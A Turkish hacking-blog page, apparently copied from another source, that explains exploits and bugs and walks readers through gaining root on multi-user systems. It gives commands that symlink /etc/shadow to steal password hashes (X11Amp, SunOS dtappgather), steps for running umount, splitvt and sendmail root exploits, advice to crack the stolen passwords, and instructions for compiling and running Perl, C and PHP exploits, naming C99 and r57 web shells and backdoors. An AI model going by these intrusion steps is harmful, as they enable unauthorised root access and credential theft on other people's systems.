| | Create free blog ( Türkçe , Deutsch , Español )

Hacked Team - Security Hack - Hack, Hacker Sitesi, Türk Hackerlar, Hack Sitesi, Msn Hack, Site Hack, Cyber

2 "exploit nedir" etiketi kullanan gönderi "exploit nedir" etiketi kullanan diğer içerikler resimler , videolar

Exploit Nedir, Bug Nedir, Nasıl Kullanılır?

İşletim sistemlerinin, çok kullanıcı ile sistemlerde kullanılmaya başlamasıyla birlikte sistemlerde kullanıcıların yetkisi de söz konusu olmuştur. Kişisel işletim Sistemlerinde (örneğin DOS) sistemi aynı anda tek kullanıcı kullandığı için bütün dosyalara erişebilir, okuyabilir vs. Ancak aynı anda pek çok kişi tarafından kullanılan İşletim sistemlerinde sistemin bir yöneticisi olmak zorundadır ki bu Novell’de supervisor, Unix ve clone’larında root, NT’de administrator olarak adlandırılır. İşte bu çok kullanıcılı sistemlerde yetkisini artırmak isteyen normal kullanıcılar sistemde daha yetkili hale gelebilmek için "exploit" dediğimiz programlar yazmışlardır. Exploitler işletim sistemi üzerindeki herhangi bir programın eksikliğinden yararlanarak kullanıcıyı daha yetkili hale getirmeye yararlar. Exploitler local ve remote olarak ikiye ayrılır. Local exploitler işletim sisteminin bir kullanıcısıyken uygulanabilir, remote exploitlerde ise sistemin bir kullanıcısı olmanıza gerek !
yoktur. Sistem açıkları ve bu açıkları kullanmak için yazılmış exploitler günden güne artmakta ve her sistem açığı için patch’ler yazılmakta. 

Bazı İşletim Sistemleri için örnek exploitler:

"overflow" exploiti (FreeBSD’de lprm açığı):
Pointer aritmetiğini kullanarak (Pointer değişkenler değişkenin içindeki bilgiyle birlikte bellek adresini de tutarlar) tampon belleğe (buffer) bir string kopyalayarak taşma oluşturur. Sistemdeki lprm komutunu kullanır. lprm komutu uzaktaki bir yazıcıya gönderilen bir işi iptal etmeye yarar. "lprm -P bloggs" komutuyla iş iptal edilebilirken kuyruktaki ikinci bir iş aynı anda "lprm -P bloggs bloggs" la iptal edilebilir. Bu da buffer owerflow hatası meydana getirir. Bu sayede "root" erişimi sağlanır. Lokal bir exploittir.

Derleyici ve /tmp Hataları (Solaris’de gcc tempfile açığı):
Gcc derleyicisinin 2.7.2.x ve önceki sürümlerinde /tmp dizinine (geçici işlemlerin yürütüldüğü dizin. Windows dizini altındaki temp dizini gibi) sembolik link (bir dosyaya ya da dizine ulaşabilmek için konan linkler. Windows’taki. lnk dosyaları gibi) oluşturulur ve bu linkten yararlanarak yerel root hakkı alınır.

Program Hataları (Linux’daki X11Amp Programı açığı):
X11Amp çalıştırıldığında ~./X11amp isminde bir dosya oluşturur. Bu hatayı linux’ta şöyle kullanabilirsiniz:

mkdir ~/.x11amp

ln -s /etc/shadow ~/.x11amp/ekl

Bu komutları yazdıktan sonra X11Amp’i çalıştırıp "ekl" ’yi seçin bütün girişleri seçip silin. Program çakılacak ve /etc/shadow dosyasını alabileceksiniz.

Microsoft’un FrontPage Server Extensions’unda karşılaşılan açıklar: Frontpage extensions’un kullanıldığı web sitelerinde pek çok açık bulmak mümkün, örneğin Frontpage 98’de dizin erişim hakları iyi düzenlenmediği için _vti_pvt dizini "WORLD WRITABLE" olarak düzenlenmiş. _vti_pvt dizininde ise "service.pwd" dosyasında şifreler tutulmakta 


Bug Nedir?

Bug, kısaca bir işletim sistemi üzerinde bazı hatalı programlar yüzünden meydana gelen sistem açıklığıdır. Bu sistem üzerine kopyalanmış bir oyundan,bir mail programından yada sistem üzerinde ki IRC programından bile meydana gelebilir. Bu hatalar bizim sistem de r00t seviyesine çıkmamızı sağlarlar

mount/umount açığından başlayabiliriz mesela,

Sistemde /bin dizinine gidin ve umount yada mount isminde bir dosya arayın.. Eğer bulamadıysanız şu komutu yazabilirsiniz.

find / -name umount -print -xdev

Dosyanın nerde olduğunu bulduğunuzda, o dizine gidip dosyanın özelliklerini görmek için şu komutu yazın,

ls -al um*

Eğer dosyanın sahibi r00t sa ,kesinlikle sistemi kapabiliriz.. Bakalım,

avanak:/bin# ls -al um*

-rwsr-sr-x 1 root 8888 Aug 20 1998 umount

avanak:/bin#

Tamam, artık işler çok çok kolaylaştı. Şimdi işimiz bir exploit e kaldı. Vereceğim exploit sayesinde sistemden takır takır r00t alabileceksiniz Bu exploit i ,sisteme yollayıp orada compile etmelisiniz. Bunu yapmak için şu komutu yazın.

gcc umount.c -o umount (umount yerine istediğiniz ismi yazabilirsiniz)

Gcc komutu sayesinde sistemde umount adında çalıştırılabilir bir dosya yaratıcaksınız..

Not : Eger Exploit çalışmazsa,komutun başına ./ takısını koymayı deneyin. Ve ardından 0 - 8 arası bir sayı ekleyin. Şunun gibi;

../umount 4

yada

../umount 2

Ve sistem elleriniz de ! Artık herşey size kalmış.r00t un neler yapabileceğini anlatmama gerek yok sanırım,

+-+-+-+-+-+-+

Eğer bu yol işe yaramazsa(ki bu beni bayağı şaşırtır),şimdi anlatacağım yolu denemeniz gerekecek. En sevdiğim Exploit bu diyebilirim. Çünkü en kolayı ve de şu ana kadar bana hiç sorun yüzü göstermedi. "usr/bin" dizininde splitvt isminde bir dosya arayın. Eğer dosya SUID ise yani sahibi r00t ise, olayı bitti sayabiliriz. Bu exploiti sadece "Linux 2-0.3*" sistemlerde kullanabilirsiniz.
Bakalım bu şey nasıl çalışıyor?

Dosyayı tabiî ki ilk olarak sisteme yollayın İlk önce değişikliği fark etmeniz için "whoami" komutu ile kim olduğunuzu öğrenin. Kullanıcı isminiz ortaya çıkacak,

1. Dosyayı "gcc" derleyicisi ile exec(çalıştırılabilir) hale getirin, (gcc sp.c sp)

2. Derlediğiniz dosyayı çalıştırın,

3. "splitvt" adlı dosyayı çalıştırın,

İşiniz bittikten sonra yine "whoami" komutunu çalıştırın.O da ne? r00t da kim yahu? 


Bu da çalışmadı diyelim( ki olamaz mümküniyeti yok). Tüm Linux dağıtımlarında bulunan bir bug vardır. SendMail bug ı, eğer bugları takip ediyorsanız, kesinlikle duymuş olmanız lazım. Ben uzun süredir bu bug la ilgilenmiyordum. Belki patch i bile çıkmıştır. Ama denemekte zarar yok diyorsanız bu kısa exploit i hemen download edin(sm.sh)

Sisteme yollayın.

Şimdi dosyayı , chmod +x leyin.

chmod +x sm.sh

1 . Dosyayı çalıştırın,

2 . Sizi /tmp dizinine gönderecek,

3 . "ls -l" yazın,

4 . Orda SUID bir sh dosyayı olduğunu göreceksiniz,

5 . "whoami" yazıp r00t olup olmadığınıza bakın, eğer değilseniz,

6 . "./sh" yazın, ve şimdi r00t olduğunuzu görebileceksiniz..



Biraz Linux u bırakıp diğer sistemlere göz atalım. Şimdi dalacağımız sistem bir SunOS.

UnixBased bir sistem çok az farklılıkları var.Mesela SunOS ta "gcc" komutu yerine "cc" komutu kullanılıyor.Fakat bunlara pek ihtiyacımız yok.Çünkü şimdi ki sistem de exploit kullanmayacağız.SunOS taki 3-4 tane bug tan bir tanesi "dtappgather" komutunun bir bug i. Ben daha önceden bunu bilmiyordum.Geçenlerde göz attığımız bir SunOS sistemde SegFault ,sayesinde öğrenmiş oldum.Fakat o sistemde çalışmadı.Neyse fazla söze gerek yok .Başlayalım,

Sistemde "dtappgather" adında bir dosya bulunması lazım,bu genelde /var/dt de bulunuyor.Dosyayı buldunuzsa

sorun kalmadı.Bu dosya varsa "generic" de vardır.Tamam şimdi /var/dt/appconfig dizinine girin.

$ ls -al

total 6

drwxr-xr-x 3 root root 512 Feb 3 14:22 .

drwxr-xr-x 5 root root 512 Jun 22 11:08 ..

drwxr-xr-x 4 root root 512 Jun 22 10:24 appmanager

$

"generic" dosyası appmanager adlı dizinin içinde bulunuyor.Şimdi burada yazacağımız tek bir komut /etc/shadow

dizinindeki unshadowed passwd dosyasını ele geçirmemizi sağlayacak.Komut şu ;

$ ln -s /etc/shadow /var/dt/appconfig/appmanager/generic-display-0

Bunu yazdıktan sonra elimize passwd dosyası geçiyor,artık onu bir Passwd Cracker la kırdıktan sonra elimize r00t un şifresi de geçer.

Exploit Nedir,Kimler Yazar,Neden Yazilir

Konu:Exploit Nedir ve Exploitleri Uygun Ortamlarda Derleme ve Derleyici Kullanımları
Aktif Serverlar:Windows,Unix
Aktif Web Serverlar:ISS,ISS 4.0,ISS 5.0,ISS 5.1,ISS 6.0 Apache 1.x ,Apache 2.x,SunOne,Netscape-Enterprise vs..
Aktif Local Sistemler: Windows Vista,Xp vb.,Linux,Mac OS X vs..
Aktif Teknoloji:ASP,,ASP.NET,PHP,JavaScript,.dat,P e r l,mod_ssl,mod_P e r l,OpenSSL,Fron tpage,Flash,vs..

Exploit Nedir ?

Exploit türkçe kelime anlamı sömürü olan,dünya genelinde ise,bir sistemin yazıldığı yazılımından çıkan açıkları kötü veya iyi yönde sömürmek ve yönetsel yetki kazanmak için yazılmış veya zarar vermek için yazılmış,kod parçacıklarına (programlara) exploit denir.

Exploit Kimler Yazar ?

Dünya Genelinde Exploit'i Script Kiddie Denilen Betik Çoçukları diye adlandırılan,hazır sömürme teknikleri kullanan kişiler kullanır.Bulduğu açıklar üzerine P e r l,cgi,unix vs. üzerinden sömürü teknikleri ile sistemde yönetsel yetki kazandıran programları yazanlara denir.(Kısaca..)

Exploit Neden Yazılır ?

Exploit,yazan kişinin o anki pisikolojisine bağlı olarak,neden yazıldığı hakkında cevaplar üretilebilir.Kimi zaman bu,güvenlik,zevk,para,eğlence,zaman öldürme vs.. aracı olarakta kullanılabiliyor.

Exploit,örnek bir web tabanlı script'lerde kodlanmada çıkan hatalardan dolayı,çıkan açıkların üzerine enjekte edilen hazır kod parçacıkları üzerinden mevcut sistemde yönetsel yetki alınarak,ilgili sistemi sömürülecek duruma getirildiği için,betik çoçukları tarafından çok kullanılmaktadır.

Neden Önemli Değildir.Yeterki bir açık fark edilsin.Fark edilen açığın üzerine hemen exploit yazılır ve sömürülür.

Kimi zaman exploitler,güvenlik şirketleri tarafından sistemi bozan programlara karşı anti-exploit olarakta kullanılabiliyor.Exploit demek hep sömürü teknikleri uygulamak değildir.Örnek var olan bir sistemi sömüren programı deactive etmek için,sömürü programının açıkları hemen bulunup,üzerine exploit uygulanabilir.Türevler çoktur ve çoğaltılabilir.Kısa anlatıyoruz.

Etki:

Exploit mevcut sistemde yönetsel yetkiler alarak,sistemin sahibine ciddi zararlar verebilir.Her türlü kullanılabilir.Sömürünün nerden geleceği,bulduğu açık yoluna bağlıdır.
Risk Çok Yüksektir.

Saldırı Senaryoları:

Saldırı senaryoları exploiti yazana ve exploitin sömürdüğü kaynak dosyanın erişim haklarına bağlıdır.Kaynak Dosyanın Erişim haklarının hepsi kullanılabilir.Örnek olarak web tabanlı betikleri yazan coderin betiği iyi süzmediği için çıkan hata kodlarını analiz eden saldırgan,hemen sisteme erişmek için ve kendisine sistemde yönetsel yetki veya zarar vermek için,bulduğu hata kodu üzerinde yoğunlaşarak,mevcut hata kodunun nedenlerini araştırıp,ne gibi exploit yazım senaryoları uygulanacağını önceden karar verip,sonrada bulduğu metaryelleri birleştirerek,sistem üzerinde erişim hakları dahil,tüm yönetsel yetkileri almak için uygun exploiti,uygun ortamda yazıp,derleyebilir.Derlenen Exploit,sistemde erişim hakkına sahip olduktan sonra,exploitin kaynağının tüm erişim hakları sömürülmek üzere kullanılır.

Exploitleri Kullanırken Çıkan Hataların Nedenleri:
1.Mevcut Açık Kapatılmıştır.
2.Kod parçacıkları eksik veya yanlıştır.
3.Kurulum Dosyasında Hata vardır.
4.Mevcut Exploiti yanlış kullanıyorsunuzdur.

Exploit Türleri Sırasıyla Şunlardır
Web Tabanlı Sistemler için:

1.P e r l [ActiveState]
2.C Unix [Cygwin,Unix,Linux]
3.PHP [PHP server]
4.ASP [ASPHost,ISS]
5.CGİ [Common Gateway Interface compiler]
6.Phyton [ActivePhyton]
7.ASM [Assembly compiler-Microsoft Macro Assembler]
8.Dos Exploit
9.Shell



Exploit Kullanımları

1.P e r l [ActiveState] Exploit Compile / Derlemek

P e r l ile Yazılan Exploitler .pl dosya uzantılıdır.Yerel Sistemde derlenebilir.Mevcut bir sistemin açığını sömüren bir exploit kaynak dosyası bulunuz.Bulduğunuz Exploiti Sisteminize kaydediniz.Kaydettiğiniz dosyayı Derleyici ile DOS'ta Derleyiniz.

Windows
http://downloads.activestate.com/ActivePerl/Windows/5.6/ActivePerl-5.6.1.638-MSWin32-x86.zip - AS package
http://downloads.activestate.com/ActivePerl/Windows/5.6/ActivePerl-5.6.1.638-MSWin32-x86.msi - MSI

Linux
http://downloads.activestate.com/ActivePerl/Linux/5.6/ActivePerl-5.6.1.638-i686-linux.tar.gz - AS package
http://downloads.activestate.com/ActivePerl/Linux/5.6/ActivePerl-5.6.1.638-i686-linux.deb - DEB
http://downloads.activestate.com/ActivePerl/Linux/5.6/ActivePerl-5.6.1.638-i686-linux.rpm - RPM

package
http://downloads.activestate.com/ActivePerl/Linux/5.6/ActivePerl-5.6.1.638-i686-linux.deb - DEB
http://downloads.activestate.com/ActivePerl/Linux/5.6/ActivePerl-5.6.1.638-i686-linux.rpm - RPM

Kurulum Dosyasını Kurunuz.Kurduktan Sonra mevcut .pl uzantılı P e r l ile kodlanmış exploiti,kurulum dosyasını kurduğunuz dizindeki P e r l dosyasındaki bin alt klasörüne atıyorsunuz.Windows Sisteminde c:/P e r l/bin/P e r l gibi.Dosyasımızın İsmi sanaldarbe olsun,uzantısı .pl olacak şekilde kaydediyoruz.

Sonra Windows Sistemi için,başlat-çalıştır-cmd diyip MSDOS Komut penceresini açıyoruz.

İlk önce Exploitimizin bulunduğu klasöre MSDOS'tan geçiyoruz.Okumamız için şarttır.

cd..
cd..
cd.. P e r l
P e r l sanaldarbe.pl kullanım yöntemi

Kullanım yöntemi yazan yer exploit MSDOS penceresine geldiğinde,exploitte her zaman kullanım (usage) hakkında bir cümle vardır.Ona bakarak uygulayınız.

Eğer sorun çıkarsa nedenler:

1.Mevcut Açık Kapatılmıştır.
2.Kod parçacıkları eksik veya yanlıştır.
3.P e r l Kurulum Dosyasında Hata vardır.
4.Mevcut Exploiti yanlış kullanıyorsunuzdur.

2. .C Unix [Cygwin,Unix,Linux]

Unix ile Yazılan Exploitler .c dosya uzantılıdır.Yerel Sistemde derlenebilir.Mevcut bir sistemin açığını sömüren bir exploit kaynak dosyası bulunuz.Bulduğunuz Exploiti Sisteminize kaydediniz.Kaydettiğiniz dosyayı Cygwin ile Derleyiniz.Linux'te daha kolay derleyebilirsininiz.

Cygwin Linux Komutlarını Windows Ortamında Uygulayabileceğiniz,Linux Komutları ile Exploit Derliyeceğiniz Bir Emilatör'dür.Kısaca Açıkladım.

Sitesinden Cygwin'i İndiriyoruz.Download http://www.cygwin.com/setup.exe


Kurulum Basittir.Program Kurulum Hakkında Sizi Yönlendirir.

Şimdi Compile Olayına Geçelim:

Kurduktan Sonra " .c " Exploitlerimizi Derlemek için ilk önce Exploit Kodlarımızı bir not defteri içine koyup,Dosya İsmine isim.c yazıp,Dosya Türüne Tüm Dosyalar Deyip, Hangi Dosyada Çalışıyorsak (Cygwin Dizini) içine farklı kaydet yapıyoruz.

Cygwin'i Açıyoruz.

Sırasıyla İlk Klasöre geçip,Compile Yapıyoruz:

1. cd /

2. gcc isim.c -o isim

3. ./isim

Evet.Burdaki

1.Komut İlk Klasöre Geçmemizi Sağlar,
2.Komut Exploitimizi Cygwin Dizininde Exe Oluşturmaya yarar.
3.Komut ise Oluşturduğumuz exenin İsmiyle çağrılmasıdır.

Bu Exe Sadece Cygwin Ortamında Çalışır veya Linux Kütüphalerindede Derlenebilir.

Örnek .c Exploit:

http://sdnetur.tripod.com/half-life.txt - http://sdnetur.tripod.com/half-life.txt 


a.Putty Aracılığı ile Unix Exploit Derleme
Unix ile Yazılan Exploitler .c dosya uzantılıdır.Yerel Sistemde derlenebilir.Mevcut bir sistemin açığını sömüren bir exploit kaynak dosyası bulunuz.Bulduğunuz Exploiti Sisteminize kaydediniz.Kaydettiğiniz dosyayı Putty ile Shell'de Derleyiniz.Linux'te daha kolay derleyebilirsininiz.

http://the.earth.li/%7Esgtatham/putty/latest/x86/putty.exe - Download Putty

1.Putty ile Shell'e bağlanınız.
2.Exploit Klasörüne Gidiniz.(örn: Exploit ad sanaldarbe.c)
3.Exploit Derleme Kod : gcc -w sanadarbe.c -o a

3.PHP Exploit [PHP server]

PHP ile Yazılan Exploitler .php dosya uzantılıdır.Yerel Sistemde derlenebilir.Mevcut bir sistemin açığını sömüren bir exploit kaynak dosyası bulunuz.Bulduğunuz Exploiti Sisteminize kaydediniz.Kaydettiğiniz dosyayı php-5.2.0 ile Derleyiniz.

İlk Önce http://www.php.net/get/php-5.2.0-win32-installer.msi/from/tr2.php.net/mirror - php-5.2.0 İndiriyoruz.


PHPServer ile PHP Dosyalarını Windows Ortamında Çalıştırabileceğiniz bir Derleyicidir.İsterseniz Localhost kurarakta derleyebilirsiniz.

Kurulumda Web Server Setup Penceresindeki Web Server Seçiniz katagorilerinden, Do not Setup a web server seçeneğini seçiniz.Kurulum Dosyası olaral C:\PHP ayarlıyoruz.

Sonra Exploitimiz olan sanaldarbe.php dosyasını PHP klasörüne atıyoruz.

Sırasıyla MSDOS'tan Çalıştırıyoruz:

cd C:\\PHP\\
C:\\PHP\\php.exe
C:\\PHP\\bestworm.php
C:\\PHP\\php.exe C:\\PHP\\bestworm.php 


4.ASP [ASPHost,ISS]

Windows ort***** kuracağınız IIS ile, Linux ortamında yapacağınız konfigürasyonlar ile veya ASP destekli hostlar`da çalıştırabilirsiniz.PHP Derleme İle Benzerdir.


5.CGİ [Common Gateway Interface compiler]

Common Gateway Interfaceile Yazılan Exploitler .cgi dosya uzantılıdır.Yerel Sistemde derlenebilir.Mevcut bir sistemin açığını sömüren bir exploit kaynak dosyası bulunuz.Bulduğunuz Exploiti Sisteminize kaydediniz.Kaydettiğiniz dosyayı ApacheServer ile Derleyiniz.

6.Phyton [ActivePhyton]

Windows. ortamında ActivePhyton ile, Linux ortamında Phyton derleyicileri ile derlenip çalıştırılabilir.

http://www.downloads.activestate.com/ActivePython/windows/2.3/ActivePython-2.3.2-232-win32-ix86.msi - Download
Üretici Firma: ActiveState

7.ASM [Assembly compiler-Microsoft Macro Assembler]

Assemblerile Yazılan Exploitler .cpp dosya uzantılıdır.Yerel Sistemde derlenebilir.Mevcut bir sistemin açığını sömüren bir exploit kaynak dosyası bulunuz.Bulduğunuz Exploiti Sisteminize kaydediniz.Kaydettiğiniz dosyayıMicrosoft Macro Assemblerile Derleyiniz

http://rapidshare.com/files/39397639/ASM.zip.html - Download

8.Dos Exploit

DOS üzerinden Çalıştırılan Exploit Çeşitleridir.

9.Shell Exploit

Shell Kodları ile Yazılan Exploitlerdir. (Örnek: C99,r57,Backdoor vb.)

Not:Alintidir

exploiti bilmeyen veya bilipte tam cözemeyenler icin iyi bi konu


Get your own Chat Box! Go Large!